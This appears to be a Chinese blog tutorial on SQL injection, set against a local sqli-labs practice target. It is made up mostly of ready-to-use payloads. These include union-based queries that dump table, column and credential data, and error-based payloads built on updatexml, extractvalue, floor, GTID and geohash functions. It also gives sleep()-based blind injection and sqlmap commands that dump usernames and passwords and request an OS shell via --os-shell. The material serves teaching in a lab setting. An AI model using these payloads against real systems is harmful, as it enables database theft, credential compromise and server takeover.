安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

目录

一、sql注入原理 

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

(2)然后看有几列,有两种方法

(3)查数据库用户名、库名、数据库版本。

(4)查看当前数据库下的所有表名

(5)查看当前数据库下的users表中的列名称

(6)根据上述的名称进行获取用户信息

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

(2)extractvalue

(3)floor

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

(5)ST_LongFromGeoHash(mysql>=5.7.x)

(6)GTID (MySQL >= 5.6.X - 显错<=200)

(7)ST_Pointfromgeohash (mysql>=5.7)

四、时间盲注

1.判断他是否沉睡

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

(7)爆破表名

(8)爆破该数据库下的表名中的列

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

(10)判断当前用户信息

(11)查看是否可以进行上传文件或者爆破出路径


一、sql注入原理 

        我们知道,一般的网页需要结合用户输入的数据来去构造数据库,如果我们的用户输入恶意的SQL语句,而我们的开发人员又没有对语句进行严格的过滤,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,就会产生sql注入。

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

?id=1'

(2)然后看有几列,有两种方法

a、order by 1,2....(优先推荐)

b、union select 1,2,...不停的去试。(不推荐)

?id=1' order by 1,2,3 --+

(3)查数据库用户名、库名、数据库版本。

注意:union前面需要为假,后面才可以执行

查用户名

?id=-1' union select 1,user(),3 --+

查库名

?id=-1' union select 1,database(),3 --+

查数据库的版本

?id=-1' union select 1,version(),2 --+

(4)查看当前数据库下的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schem='security'),3 --+

(5)查看当前数据库下的users表中的列名称

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

(6)根据上述的名称进行获取用户信息

?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3 --+

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

updatexml(1,1,1) 一共三个参数,报错的位置在第二个参数的位置

?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(2)extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错的位置在第二个参数的位置

?id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

(3)floor

获取数据库的版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(5)ST_LongFromGeoHash(mysql>=5.7.x)

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(6)GTID (MySQL >= 5.6.X - 显错<=200)

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

​ ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+   GTID_SUBTRACT ​ ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

(7)ST_Pointfromgeohash (mysql>=5.7)

获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

获取字段里面的数据

')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

四、时间盲注

1.判断他是否沉睡

id=1' and if(ascii(substr(user(),1,1))=114, sleep(3),0) --+

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" 

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" --dbs

(7)爆破表名

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security --tables

(8)爆破该数据库下的表名中的列

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --columns

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --dump -C "username,password"

(10)判断当前用户信息

sqlmap "http://192.168.191.1/sql/less-8/index.php?id=1" --current-user

(11)查看是否可以进行上传文件或者爆破出路径

sqlmap -u "http://192.168.191.1/sql/index.php?id=1" --os-shell

 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值